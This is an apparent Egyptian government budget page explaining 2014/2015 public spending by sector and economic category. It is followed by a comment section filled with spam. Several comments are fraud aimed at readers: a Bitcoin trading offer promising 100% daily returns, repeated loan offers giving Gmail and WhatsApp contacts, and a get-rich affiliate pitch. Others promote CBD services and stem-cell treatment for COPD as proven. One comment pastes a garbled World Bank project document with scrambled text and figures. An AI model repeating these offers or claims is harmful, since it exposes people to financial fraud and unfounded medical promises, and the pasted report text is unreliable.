...
ما هى المصروفات العامة ؟

هى مجموع ما تنفقه الدولة لتوفير الخدمات العامة للمواطن من صحة وتعليم وإسكان ومد للمرافق والاستثمار فى المشروعات العامة ودفع الأجور للعاملين بالدولة، ودعم أسعار السلع لتكون فى متناول الجميع لتحقيق العدالة الاجتماعية وتحسين مستوى المعيشة. وتنقسم المصروفات العامة إلى نوعين التصنيف الوظيفى والتصنيف الإقتصادى.

ما هى المصروفات العامة ؟
أين تذهب ضرائبك ؟

تقوم الدولة بإعادة إنفاق أموالك على الأنشطة والمشروعات والخدمات المقدمة للمواطنين فى مجالات عديدة من أجل تحقيق العدالة الاجتماعية وتحسين مستوى المعيشة والالتزام باستحقاقات الدستور بزيادة الإنفاق على الصحة (لتصل إلى 3% من الناتج المحلى)، والتعليم قبل الجامعى (ليصل إلى 4% من الناتج المحلى)، والتعليم الجامعى (ليصل إلى 2% من الناتج المحلى)، والبحث العلمى (ليصل إلى 1% من الناتج المحلى) على مدى ثلاث سنوات.

أين تذهب ضرائبك ؟
المصروفات العامة

من المتوقع أن تبلغ تقديرات المصروفات العامة فى موازنة العام المالى 2015/2014 نحو 789.4 مليار جنيه (32.8% من الناتج المحلى)، مقارنة بنحو 742.1 مليار جنيه فى الموازنة المعدلة للعام المالى 2014/2013.

إرتفع نصيب الفرد من إجمالى المصروفات فى موازنة 2015/2014 بحوالى ثلاث أضعاف مقارنة بالعام المالى 2008/2007.

المصروفات العامة
التصنيف الوظيفى

هو الإنفاق على القطاعات المختلفة مثل الصحة، التعليم، الحماية الإجتماعية، الخدمات العامة، الدفاع والأمن القومى، الشئون الإقتصادية، الشباب والثقافة والشئون الدينية، الإسكان والمرافق المجتمعية، حماية البيئة، النظام العام وشئون السلامة العامة.

التصنيف الوظيفى
قطاع التعليم
  • يبلغ الإنفاق على خدمات التعليم حوالى 94.4 مليار جنيه (12% من إجمالى الإنفاق)، مقابل 83.6 مليار جنيه بموازنة 2014/2013 المعدلة، يعنى الزيادة بـ12.9%.
  • التعليم قبل الجامعى يحصل على 72% من إجمالى الإنفاق على القطاع، بينما تصل الأجور ومرتبات العاملين نحو 85% من جملة نفقات القطاع. وإجمالى عدد الطلاب المستفيدين من خدمات التعليم بمراحله كلها حوالى 19 مليون طالب (18 مليون طالب فى التعليم قبل الجامعى يدرسون فى 52,402 مدرسة ومليون طالب فى التعليم الجامعى بـ23 جامعة). نصيب الطالب من إجمالى الإنفاق على التعليم سيصل نحو 5 الآف جنيه فى 2015/2014.
  • وإجمالى عدد الطلاب المستفيدين من خدمات التعليم بمراحله كلها حوالى 19 مليون طالب (18 مليون طالب فى التعليم قبل الجامعى يدرسون فى 52,402 مدرسة ومليون طالب فى التعليم الجامعى بـ23 جامعة). نصيب الطالب من إجمالى الإنفاق على التعليم سيصل نحو 5 الآف جنيه فى 2015/2014.
قطاع التعليم
قطاع الصحة
  • يبلغ الإنفاق على خدمات الصحة حوالى 42.4 مليار جنيه، (5.4% من إجمالى إنفاق الموازنة)، مقابل 33.5 مليار جنيه فى الموازنة المعدلة لعام 2014/2013.
  • وصل عدد المستشفيات العامة والجامعية إلى نحو 717 مستشفى و98.3 ألف سرير يخدم نحو 82 مليون مواطن (طبقاً للبيانات الصادرة عن الجهاز المركزى للتعبئة العامة والإحصاء). ويبلغ متوسط الإنفاق على الصحة لكل مواطن نحو 493 جنيه فى موازنة 2015/2014. 
  • إن الدستور الجديد يطالب الدولة بزيادة الإنفاق على الصحة والتعليم بصورة كبيرة خلال الثلاث سنوات القادمة وهو ما بدأت الدولة مراعاته عن طريق برنامج الإصلاح الاقتصادى لتوليد موارد تكفى لهذه الزيادات.
قطاع الصحة
قطاع الإسكان والمرافق المجتمعية
  • هل تعلم أن معظم الانفاق على الاستثمارات يتركز فى قطاع الإسكان والبنية التحتية ليبلغ حوالى 21.9 مليار جنيه (2.8% من إجمالى إنفاق الموازنة).
  • وقد تم إدراج منها حوالى 9.6 مليار جنيه لتمويل مشروع الإسكان الاجتماعى، وحوالى 9.7 مليار جنيه لمشروعات مياه الشرب والصرف الصحى، بالإضافة إلى 600 مليون جنيه لصندوق تطوير المناطق العشوائية.
قطاع الإسكان والمرافق المجتمعية
التصنيف الاقتصادى

هو يعرض بنود الإنفاق وفق البنود ومخصصات الصرف مثل الأجور وتعويضات العاملين، الدعم والمنح والمزايا الاجتماعية، الفوائد، شراء السلع والخدمات، والمصروفات الاخرى، والاستثمارات.

التصنيف الاقتصادى

أولاً : إصلاحات المنظومة الضريبية

تستحوذ الأجور وتعويضات العاملين على أكثر من ربع قيمة الإنفاق العام (26.3% من إجمالي المصروفات)، لحوالى 6.5 مليون موظف وبذلك يغطى إنفاق الأجور مصدر دخل لحوالى 24 مليون مواطن (العاملين وأسرهم). وبالنسبة لقيمة الأجور والمكافآت والحوافز فقد زادت بـ13% عن موازنة العام السابق المعدلة المقدرة بنحو 183.8 مليار جنيه لتبلغ حوالى 207.2 مليار جنيه بموازنة عام 2015/2014 وذلك بسبب:

  • استكمال منظومة الحد الأدنى للأجور وتحسين دخول الأطباء والمعلمين.
  • الزيادة الناتجة عن ضم العلاوة الخاصة لعام 2010/2009 إلى المرتب الأساسي في 2014/7/1.
  • تكاليف العمالة التي تم تثبيتها خلال الأعوام 2013/2012 و2014/2013. وبذلك يبلغ متوسط أجر الموظف بالقطاع الحكومى نحو 2,875 جنيه شهرياً.

ثانياً: شراء السلع والخدمات

هى النفقات التى تصرفها الحكومة لإدارة دولاب العمل الحكومي بما في ذلك مستلزمات الأدوية والأغذية، وتكاليف طبع الكتب المدرسية (حوالى 280 مليون كتاب مدرسى)، ونفقات صيانة المرافق والشبكات والطرق والكباري، وصيانة الآلات والمعدات ونفقات المياه والإنارة. وقد بلغت تقديرات شراء السلع والخدمات حوالى 33 مليار جنيه خلال موازنة عام 2015/2014 بزيادة 10% عن موازنة 2014/2013 المعدلة.

ثالثاً: الفوائد

هي الفوائد المستحقة على الإقتراض الحكومي بمعنى مصروفات خدمة الدين العام وتشمل فوائد على الأذون والسندات والقروض والتسهيلات سواء المحلية أو الأجنبية، وتقدر قيمة الفوائد بحوالي 199 مليار جنيه بموازنة عام 2015/2014 بزيادة نسبتها 9.3% عن موازنة العام السابق المعدلة؛ وبتمثل الفوائد نحو 25% من إجمالي المصروفات.

رابعاً: الدعم والمنح والمزايا الاجتماعية

  • تنظر الحكومة المصرية إلى مفهوم العدالة الإجتماعية بمفهوم واسع وشامل لكى تحارب الفقر وتحمى الفئات الأولى بالرعاية وترفع مستوى المعيشة. فقد عملت الحكومة على توفير جزء كبير من الموارد المطلوبة لتحقيق العدالة الإجتماعية من خلال تنفيذ برامج الإصلاح الإقتصادى، مثل ترشيد دعم الطاقة أو الإصلاح الضريبى اللى بيزيد عبء إصلاحه كلما إرتفعت الدخول.
  • كما قامت الحكومة بإتخاذ خطوات إصلاحية جادة لإعادة ترتيب أولويات الإنفاق، والتوزيع الجغرافى للإستثمارات، وتدعيم العدالة الضريبية، بالإضافة إلى زيادة الانفاق الاجتماعى.
  • بلغت تقديرات "الدعم والمنح والمزايا الاجتماعية" فى موازنة 2015/2014 حوالى 234 مليار جنيه بما يمثل 30% من إجمالى المصروفات. ويمثل دعم الطاقة (المواد البترولية والكهرباء) من أهم بنود الدعم.
دعم المواد البترولية

يقدر بحوالى 100.3 مليار جنيه بموازنة 2015/2014 بعد تحريك أسعار بعض المنتجات لترشيد الدعم. وسيتم تطبيق منظومة الكروت الذكية بشكل أفضل لكى نستهدف مستحقى الدعم. وعلى فكرة انت نصيبك من دعم المواد البترولية حوالى 1,190 جنيه سنوياً، لكن معظم الناس مش بتشعر به لأن معظمه بيستفيد منه أصحاب الدخول الأعلى، وعلشان كده الحكومة بترشد دعم الطاقة وتصرف هذه الموارد على برامج أخرى للبسطاء.

دعم المواد البترولية
دعم الكهرباء

دعم الكهرباء بموازنة 2015/2014 حوالى 27.2 مليار جنيه. وبالرغم من ضخامة مبلغ الدعم إلا أنه غير كاف لحل كامل لمشكلة إنقطاع الكهرباء، ولذلك قامت الحكومة بعدد من الإجراءات من ضمنها إنشاء محطات جديدة للكهرباء وإجراء صيانة لمحطات أخرى والتخطيط لإستخدام مصادر الطاقة الجديدة والمتجددة مثل الطاقة الشمسية.

دعم الكهرباء

خامساً: المصروفات الأخرى

تتمثل في اعتمادات مرتبطة بالمتطلبات القومية والتحويلات الجارية والتعويضات والغرامات، وقد قدر لها بموازنة العام المالي 2015/2014 حوالي 49 مليار جنيه مقارنة بـ38.3 مليار جنيه بموازنة 2014/2013 المعدلة.

سادساً: الاستثمارات "شراء الأصول غير المالية"

تبلغ تقديرات الاستثمارات بمشروع موازنة العام المالى 2015/2014 نحو 67.2 مليار جنيه. تم تخصيص جزء كبير من قيمة الاستثمارات فى قطاعات الصحة والتعليم وفقاً لما يقضى به دستور 2014، بإجمالى استثمارات بلغت 13.3 مليار جنيه. وقد تم الأخذ فى الإعتبار العدالة فى التوزيع الجغرافى للإستثمارات على أقاليم الجمهورية.

التوزيع الجغرافي للإستثمارات علي أقاليم جمهورية مصر العربية

تعريف ببعض القطاعات وفقاً للتقسيم الوظيفى للمصروفات

قطاع الخدمات العامة ويتمثل فى الأجهزة التشريعية والتنفيذية والشئون المالية والخارجية ومعاملات الدين العام
قطاع النظام العام وشئون السلامة العامة ويتمثل فى خدمات الشرطة والسجون والحماية ضد الحريق والمحاكم
قطاع الشئون الاقتصادية ويتمثل فى الزراعة والرى والإنتاج الحيوانى والصيد والوقود والطاقة والتعدين والصناعة والنقل والاتصالات والسياحة
قطاع حماية البيئة ويتمثل فى إدارة النفايات وتصريفها ومعالجتها والصرف الصحى ومعالجة التلوث
قطاع الحماية الإجتماعية ويتمثل فى المساندة الاجتماعية فى حالات العجز والشيخوخة والضمان الاجتماعى ومعاش الطفل ومعالجة البطالة والحماية الاجتماعية والدعم والمعاشات


Carlos Oscar

Sunday, July 12, 2020

هل أنت مهتم بتداول بيتكوين ثنائي وتجارة الفوركس حيث يمكنك كسب 100 ٪ من استثمارك يوميًا إذا استثمرت بمبلغ منخفض يصل إلى 200 دولار ، فستحصل على ربح قدره 2000 دولار بعد 72 ساعة. اتصل بنا عبر البريد الإلكتروني: tradewithcarlos2156@gmail.com أو whatsapp: +1 (502) 2064419

Flor Dorron

Wednesday, July 8, 2020

TITLE: Are YOU Building Your Own DREAMS Or Has SOMEONE ELSE Hired You To Build THEIRS?  DESCRIPTION: Have you ever looked at sites like Google or Facebook and asked yourself…“How can they make SO MUCH MONEY when they aren’t even really selling any products?!?!” Well, Google and Facebook are cashing in on their platforms. They’re taking advantage of the millions of people who come to their sites…Then view and click the ads on their pages. Those sites have turned into billion dollar companies by getting paid to send traffic to businesses. Did You Know That More People Have Become Millionaires In The Past Year Than Ever Before? Did You Know You Can Make Money By Becoming A Traffic Affiliate? Watch Our Video & Discover The Easy 1-Step System Our Members Are Using To Get Paid Daily. URL: https://bit.ly/retirement-biz

Valorie

Tuesday, July 7, 2020

Howdy! I'm at work browsing your blog from my new iphone 4! Just wanted to say I love reading your blog and look forward to all your posts! Keep up the excellent work! how much does cbd oil cost how much does cbd oil cost

Dianne Monzon

Monday, July 6, 2020

Hi Guys! I am writing to introduce our SEO company to you as I really feel that you and budget.gov.eg could benefit from one of our tailored Vape and CBD SEO backlink packages. Creative Bear Tech is a relatively small SEO company with a personal approach that is presently working exclusively with Vape and CBD brands. We have over 20 large vape, cannabis and CBD companies as our long-term clients. We have offices in the UK and the Baltic States with 20 people working with us. I feel that you could really benefit from our vape and CBD SEO package just like our current clients have done. During the course of the last 7 years, we have tremendously grown our resources and knowledge of the vaping and CBD industries. We have also been busy testing and refining SEO backlinking strategies. We have found an SEO sweet spot and have created a custom backlink package that contains everything that you need to rank your site. We really value transparency and this is precisely why we have laid out what you would get with your package and explained the thought process behind each task and how it will help you to achieve traffic and sales. We understand the industry, SEO and what works and what does not. If you are looking to go big and leave the "small timers'" lane, I suggest that you give this package some serious thought. You can view the entire SEO backlinks package here: https://creativebeartech.com/product/monthly-seo-backlinks-package-for-hemp-and-cbd-shops-and-brands/ Note of caution: I will be taking on 5 more serious clients as this is exactly what we have the resources for. I look forward to working with you! Regards

Deidre Goodfellow

Saturday, July 4, 2020

No more paying way too much money for ripoff Google advertising! Let me show you a method that needs only a tiny bit of cash and generates an almost indefinite volume of web visitors to your website Check out our site now: http://www.adposting-onautopilot.xyz

mr scott

Saturday, July 4, 2020

يوم جيد، هل تحتاج إلى قرض مريح لإرضائك؟ نقدم قرضًا بسعر فائدة معقول بنسبة 3٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 1 إلى 50 عامًا على الأكثر. هل تحتاج إلى قرض مباشر وسهل وميسور التكلفة لسداد الديون أو بدء عمل تجاري أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com Whatsapp: +79258159150 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. اتصل بنا على: accessloanfirm2030@gmail.com بإخلاص، السيد سكوت accessloanfirm2030@gmail.com

mr scott

Saturday, July 4, 2020

يوم جيد، هل تحتاج إلى قرض مريح لإرضائك؟ نقدم قرضًا بسعر فائدة معقول بنسبة 3٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 1 إلى 50 عامًا على الأكثر. هل تحتاج إلى قرض مباشر وسهل وميسور التكلفة لسداد الديون أو بدء عمل تجاري أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com Whatsapp: +79258159150 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. اتصل بنا على: accessloanfirm2030@gmail.com بإخلاص، السيد سكوت accessloanfirm2030@gmail.com

mr scott

Saturday, July 4, 2020

يوم جيد، هل تحتاج إلى قرض مريح لإرضائك؟ نقدم قرضًا بسعر فائدة معقول بنسبة 3٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 1 إلى 50 عامًا على الأكثر. هل تحتاج إلى قرض مباشر وسهل وميسور التكلفة لسداد الديون أو بدء عمل تجاري أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com Whatsapp: +79258159150 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. اتصل بنا على: accessloanfirm2030@gmail.com بإخلاص، السيد سكوت accessloanfirm2030@gmail.com

Kristi Amiet

Thursday, July 2, 2020

Do you want to promote your website for totally free? Check this out: http://www.free-ad-posting.xyz

Tara Campbell

Thursday, July 2, 2020

Hey - I was checking out your site and I’m impressed with how clean and professional it looks. Adding video to your website has become an absolute MUST. Even something basic that clearly defines exactly what it is you're offering & why work with your company vs competitors... My team, based out of Toronto, Canada, creates quality animated explainer videos. Our award-winning videos are proven to increase customer engagement and decrease user bounce rate. Email me back for some explainer video samples, pricing, or just to say hi! --Tara Campbell Email: Tara.c@vidthebiz.com Website: VidTheBiz.com

NORTION LOAN CONSULTANT

Thursday, July 2, 2020

السلام عليكم لقد حان الوقت لتنمية عملك أثناء البقاء في المنزل ، فقد حان الوقت للعمل بذكاء وليس بجد أثناء الجلوس في المنزل. احصل على قرضك الفوري للاستثمار ودفع الفواتير بمعدل 0f 2.5٪ مع NORTION LOAN CONSULTANT. معلومات للتواصل البريد الإلكتروني: nortionloanconsultant@gmail.com الهاتف: +17815611941 (النص فقط) انستاجرام: قرض نورت تويتر: @ LoanNortion لينكد إن: NORTION LOAN Consultant حافظ على البقاء والحفاظ على المسافة.

NORTION LOAN CONSULTANT

Thursday, July 2, 2020

السلام عليكم لقد حان الوقت لتنمية عملك أثناء البقاء في المنزل ، فقد حان الوقت للعمل بذكاء وليس بجد أثناء الجلوس في المنزل. احصل على قرضك الفوري للاستثمار ودفع الفواتير بمعدل 0f 2.5٪ مع NORTION LOAN CONSULTANT. معلومات للتواصل البريد الإلكتروني: nortionloanconsultant@gmail.com الهاتف: +17815611941 (النص فقط) انستاجرام: قرض نورت تويتر: @ LoanNortion لينكد إن: NORTION LOAN Consultant حافظ على البقاء والحفاظ على المسافة.

NORTION LOAN CONSULTANT

Thursday, July 2, 2020

السلام عليكم لقد حان الوقت لتنمية عملك أثناء البقاء في المنزل ، فقد حان الوقت للعمل بذكاء وليس بجد أثناء الجلوس في المنزل. احصل على قرضك الفوري للاستثمار ودفع الفواتير بمعدل 0f 2.5٪ مع NORTION LOAN CONSULTANT. معلومات للتواصل البريد الإلكتروني: nortionloanconsultant@gmail.com الهاتف: +17815611941 (النص فقط) انستاجرام: قرض نورت تويتر: @ LoanNortion لينكد إن: NORTION LOAN Consultant حافظ على البقاء والحفاظ على المسافة.

NORTION LOAN CONSULTANT

Thursday, July 2, 2020

السلام عليكم لقد حان الوقت لتنمية عملك أثناء البقاء في المنزل ، فقد حان الوقت للعمل بذكاء وليس بجد أثناء الجلوس في المنزل. احصل على قرضك الفوري للاستثمار ودفع الفواتير بمعدل 0f 2.5٪ مع NORTION LOAN CONSULTANT. معلومات للتواصل البريد الإلكتروني: nortionloanconsultant@gmail.com الهاتف: +17815611941 (النص فقط) انستاجرام: قرض نورت تويتر: @ LoanNortion لينكد إن: NORTION LOAN Consultant حافظ على البقاء والحفاظ على المسافة.

Berenice Delaney

Thursday, July 2, 2020

Stem cell therapy has proven itself to be one of the most effective treatments for COPD (Chronic Obstructive Pulmonary Disorder). IMC is the leader in stem cell therapies in Mexico. For more information on how we can treat COPD please visit: https://bit.ly/copd-integramedicalcenter

Kerri Griver

Monday, June 29, 2020

Hi I would like to invite budget.gov.eg to join StockUpOnCBD.com, the world's very first wholesale CBD marketplace that connects CBD wholesalers with retailers. StockUpOnCBD.com is the world's first ever wholesale CBD marketplace that connects Hemp and CBD wholesalers with retailers. The platform has already been featured in famous magazines and newspapers and its active CBD blog is attracting an ever-growing quality traffic and subscriber base. Think of StockUpOnCBD.com as a central marketplace that brings together all the wholesale Hemp and CBD companies. Before approving Hemp and CBD wholesalers and distributors, we conduct rigorous due diligence to ensure that they meet the highest standards of quality and meet the relevant laws. This way, as a retailer, you will not have to worry about anything. If you are looking to expand your wholesale sales, join us right now. About Us: https://stockuponcbd.com/about-us How it Works: https://stockuponcbd.com/how-it-works I look forward to seeing you join the CBD revolution! Much love!

BryanG

Sunday, June 28, 2020

Hi. I have checked your budget.gov.eg and i see you've got some duplicate content so probably it is the reason that you don't rank high in google. But you can fix this issue fast. There is a tool that generates content like human, just search in google: miftolo's tools

Renaldo Holtermann

Sunday, June 28, 2020

Urgent. Services Needed. Please contact. Have a project - https://bit.ly/yestoservices

Lerent finances

Tuesday, June 23, 2020

هل كنت تبحث عن قرض في جميع أنحاء العالم وأنت ذاهب من خلال الأزمة المالية؟ التزامنا هو مساعدة المحتاجين على الكسب الاستقرار المالي من أجل تلبية احتياجاتك المالية. احصل على قرض من 50.000 إلى 150.000.000 في ($) و (€) و (£) بسعر فائدة 3٪ مع أو بدون ضمانات. إن قروضنا مؤمنة بشكل جيد وأقصى حد الأمن هو أولويتنا القصوى. لينريت للاستثمارات المالية المحدودة 340 Melton Road، ليستر، LE4 7SL. المملكة المتحدة الرقم المسجل: 00540583 هاتف: + 44-1163261393 Whatsapp: +447507108935 البريد الإلكتروني: ffunding@lenretfinancialinvestmentltd.com

Lerent finances

Tuesday, June 23, 2020

وثيقة من إعداد البنك الدولي لالستخدام الرسمي فقط رقم التقرير: PAD2308 البنك الدولي لإلنشاء والتعمير وثيقة تقييم مشروع قرض مقترح بقيمة 50 مليون دوالر مقدم إلى المملكة األردنية الهاشمية لتمويل مشروع صندوق الشركات الناشئة اإلبتكارية 2 يونيو/ حزيران 2017 مجموعة الممارسات العالمية المعنية بالتمويل واألسواق منطقة الشرق األوسط وشمال أفريقيا يقتصر توزيع هذه الوثيقة على الجهات واألفراد المرسلة إليهم للقيام بواجباتهم الرسمية. وال يجوز بخالف ذلك الكشف عن مضمونها دون إذن من البنك الدولي " ترجمة غير رسمية. النسخة الصادرة باللغة االنجليزية هي النسخة التي ُيعتد بها فقط" Public Disclosure Authorized Public Disclosure Authorized Public Disclosure Authorized Public Disclosure Authorized البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 1 أسعار العملة والقيمة المعادلة لها )سعر الصرف الساري في 30 أبريل 2017) دينار أردني وحدة العملة = دينار أردني = 41.1 دوالر أمريكي دوالر أمريكي = 710.0 دينار أردني السنة المالية 1 يناير/ كانون الثاني – 31 ديسمبر/ كانون األول نائب الرئيس اإلقليمي: حافظ غانم القائم بأعمال المدير القطري: كانثان شانكار مدير أول عملية الممارسة العالمية: سيليا بزارباس إيغولو مدير قطاع الممارسات: جان بزمي رئيس فريق العمل: راندا عقيل البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 2 هل هذا المشروع مشروعاً إقليمياً؟ ال الدولة )الدول( أداة التمويل تمويل مشروع استثماري ] [ المواقف التي تحتاج إلى مساعدات عاجلة أو تقتضي فرض قيود على اإلمكانات ] ]الوسطاء الماليون ] [ سلسلة المشروعات تاريخ االعتماد 23 يونيو/ حزيران 2017 تاريخ اإلغالق 2023 نوفمبر 30 فئة التقييم البيئي F - تقييم الوسيط المالي البنك/ مؤسسة التمويل الدولية نعم المستوى المشترك مشروع تكميلي أو مستقل يتطلب التنسيق الفعال الهدف اإلنمائي المقترح يتمثل الهدف اإلنمائي للمشروع في زيادة تمويل رأس المال الخاص في المراحل المبكرة ألعمال المؤسسات االبتكارية الصغيرة والمتوسطة. المكونات اسم المكون التكلفة )بالمليون دوالر( برنامج تمويل مختلط من رأس المال والدين 75.44 دعم خلق تدفق الصفقات 13.3 إدارة المشروع وتنسيقه ومتابعته وتقييمه 00.2 المنظمات الجهة المقترضة: الحكومة األردنية الجهة المنفذة: الشركة االردنية لضمان القروض بيانات تمويل المشروع )بالمليون دوالر أمريكي( ][ التمويل المناظر ][ البنك الدولي لإلنشاء والتعمير ][ قروض المؤسسة الدولية للتنمية ][ نافذة التصدي لألزمات ][ نافذة المشروعات اإلقليمية ][ منح المؤسسة الدولية للتنمية ][ نافذة التصدي لألزمات ][ نافذة المشروعات اإلقليمية ][ الصناديق االستنمائية ][ التمويل المتوازي التكلفة اإلجمالية للمشروع: 98.00 إجمالي التمويل: 98.00 قيمة تمويل البنك )البنك الدولي لإلنشاء والتعمير/ المؤسسة الدولية للتمويل( 50.00 الفجوة التمويلية: 0.00 التمويل )بالمليون دوالر( مصدر التمويل المبلغ البنك الدولي لإلنشاء والتعمير 00.50 مصادر محلية من الدولة المقترضة 48.00 القيمة اإلجمالية 00.98 المدفوعات المتوقعة )بالمليون دوالر أمريكي( 2024 2023 2022 2021 2020 2019 2018 2017 المالية السنة 1.00 4.00 5.00 5.00 7.50 7.50 20.00 0.00 السنوية المدفوعات 50.00 49.00 45.00 40.00 35.00 27.50 20.00 0.00 التراكمية المدفوعات البيانات المؤسسية: قطاع الممارسة الرئيسي: التمويل واألسواق قطاعات الممارسة المشاركة: الحوكمة التجارة والقدرة التنافسية التصنيف على أساس النوع اإلجتماعي: هل من المقرر أن ينفذ المشروع أي مما يلي؟ أ- في ضوء الفجوات القطرية المحددة من خالل تحليل لتحديد الفجوات ذات الصلة بالمشروع بين اإلناث والذكور، وتحديدا التشخيص القطري ً المنهجي وإطار الشراكة القطرية البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 3 ال للنقطة )أ( أعاله و/أو تحسين تمكين اإلناث أو الذكور ب- إجراء )إجراءات( محددة للتغلب على الفجوات المتعلقة بالنوع االجتماعي والمحددة وفقاً نعم ج- إدراج مؤشرات في إطار النتائج لمتابعة نواتج اإلجراءات المحددة في النقطة )ب( نعم أداة تصنيف مخاطر العمليات المنهجية فئة المخاطر التصنيف 1 -مخاطر السياسة والحوكمة  متوسطة 2 -مخاطر االقتصاد الكلي  كبيرة 3 -مخاطر استراتيجيات وسياسات القطاع  كبيرة 4 -مخاطر التصنيف الفني للمشروع أو البرنامج  كبيرة 5 -مخاطر القدرة المؤسسية للتنفيذ واالستدامة  كبيرة 6 -المخاطر االئتمانية  مرتفعة 7 -المخاطر البيئية واإلجتماعية  متوسطة 8 -أصحاب المصلحة  منخفضة 9 -مخاطر أخرى  10 -المخاطر الكلية  كبيرة االمتثال السياسة هل ينطلق المشروع من إطار الشراكة اإلستراتيجية من حيث المضمون أو من أي جانب أخر؟ نعم ] [ ال ]] هل يتطلب المشروع أي استثناءات من سياسات البنك؟ نعم ] [ ال ]] سياسات الضمانات الوقائية التي تم تفعيلها بسبب المشروع نعم ال  )OP/BP 4.01( البيئي التقييم  )OP/BP 4.04( الطبيعية الموائل  )OP/BP 4.36( الغابات  )OP 4.09( اآلفات مكافحة  )OP/BP 4.11( المادية الحضارية الموارد  )OP/BP 4.10( األصلية الشعوب  )OP/BP 4.12( القسرية التوطين إعادة  )OP/BP 4.37( السدود سالمة المشاريع على مجاري المياه الدولية )50.7 BP/OP ) المشروعات المقامة في المناطق المتنازع عليها )60.7 BP/OP ) المواثيق القانونية األقسام والوصف ملحق 2 ،القسم األول )أ( 1 من اتفاقية القرض: تمويل مشترك من البنك المركزي األردني بمبلغ يعادل 000.880.13 دوالر أمريكي في موعد ال يتجاوز 45 يوماً من تاريخ دخول االتفاقية حيز التنفيذ. األقسام والوصف ملحق 2 ،القسم األول )أ( 2 من اتفاقية القرض: تعيين مدير لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية في موعد ال يوما من تاريخ دخول االتفاقية حيز التنفيذ. ً يتجاوز 90 األقسام والوصف ملحق 2 ،القسم األول )أ( 2( هـ( من اتفاقية القرض: تعيين محاسب أول في موعد ال يتجاوز 90 يوماً من تاريخ دخول االتفاقية حيز التنفيذ. األقسام والوصف ملحق 2 ،القسم األول )أ( 2( و( من اتفاقية القرض: إقرار تخطيط موارد المؤسسة أو نظام البرمجيات المحاسبية األخرى في موعد ال يتجاوز 180 يوماً من تاريخ دخول االتفاقية حيز التنفيذ. األقسام والوصف ملحق 2 ،القسم األول )أ( 2( ح( من اتفاقية القرض: تعيين مدقق خارجي لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية في موعد ال يتجاوز 6 أشهر من تاريخ دخول االتفاقية حيز التنفيذ. األقسام والوصف ملحق 2 ،القسم األول )أ( 2( ي( من اتفاقية القرض: تشكيل لجنة لالستثمار خالل 180 يوماً من تاريخ دخول االتفاقية حيز التنفيذ. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 4 الشروط النوع الفعالية الوصف 5-01( أ( من اتفاقية القرض: تم التصديق على االتفاقية الفرعية حسب األصول من قبل الجهة المقترضة وقامت الشركة ا للجهة المقترضة والشركة عمال بأحكام االتفاقية ً األردنية لضمان القروض وهي اتفاقية ملزمة قانون النوع الفعالية الوصف 5-01( ب( من اتفاقية القرض: تم التصديق على اتفاقية اإلدارة المبرمة بين صندوق الشركات الناشئة والمؤسسات ملزمة قانونا عمال بأحكام االتفاقية. ً الصغيرة والمتوسطة االبتكارية ومدير الصندوق حسب األصول وهي اتفاقية النوع الفعالية الوصف 5-01( ج( من اتفاقية القرض: أنشئت الشركة األردنية لضمان القروض صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية عمال بالقوانين واللوائح التي تضعها الجهة المقترضة حيث تمنح الصندوق صالحية أداء المهام وااللتزامات المسندة إليه في إطار المشروع. النوع الفعالية الوصف 5-01( د( من اتفاقية القرض: وقعت الشركة األردنية لضمان القروض والبنك المركزي األردني عقد التأسيس والنظام األساسي، وهي اتفاقية ملزمة قانونا والبنك المركزي عمال بأحكام االتفاقية. ً على الشركة األردنية النوع اإلنفاق الوصف ملحق رقم 2 ،القسم الرابع، ب-1( ب(: تعيين كبير المسئولين الماليين بمعرفة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مدة المشروع فريق عمل البنك االسم الوظيفة التخصص الوحدة راندا عقيل رئيس فريق العمل )المسئول اإلداري ( التمويل GFM05 سميرة الحارثي أخصائي المشتريات )المسئول اإلداري ( المشتريات GGO05 لينا فارس أخصائي المشتريات المشتريات GGO05 وليد حمود علي النجار أخصائي اإلدارة المالية اإلدارة المالية GGO23 علي أبوكميل عضو فريق العمل أخصائي أول القطاع الخاص GTC05 أندريانيرينا ميشيل إيريك رانجيفا عضو فريق العمل المدفوعات WFALN كونسيبسيون عيسى أوتين عضو فريق العمل خزانة البنك الدولي FABBK إلين أوالفسن مسئول استعراض األقران تنمية المعلومات GTCID إيسيمكا إبوكاه عضو فريق العمل أخصائي القطاع المالي GFM05 عيسى اغابي عضو فريق العمل وحدة رأس المال المخاطر التابعة لمؤسسة التمويل الدولية CTTVI جاد راجي مزاهرة عضو فريق العمل اإلدارة المالية GGO23 جون سبيكمان مسئول استعراض األقران التجارة والتنافسية GTC05 جوستين بيرس وليام هيل عضو فريق 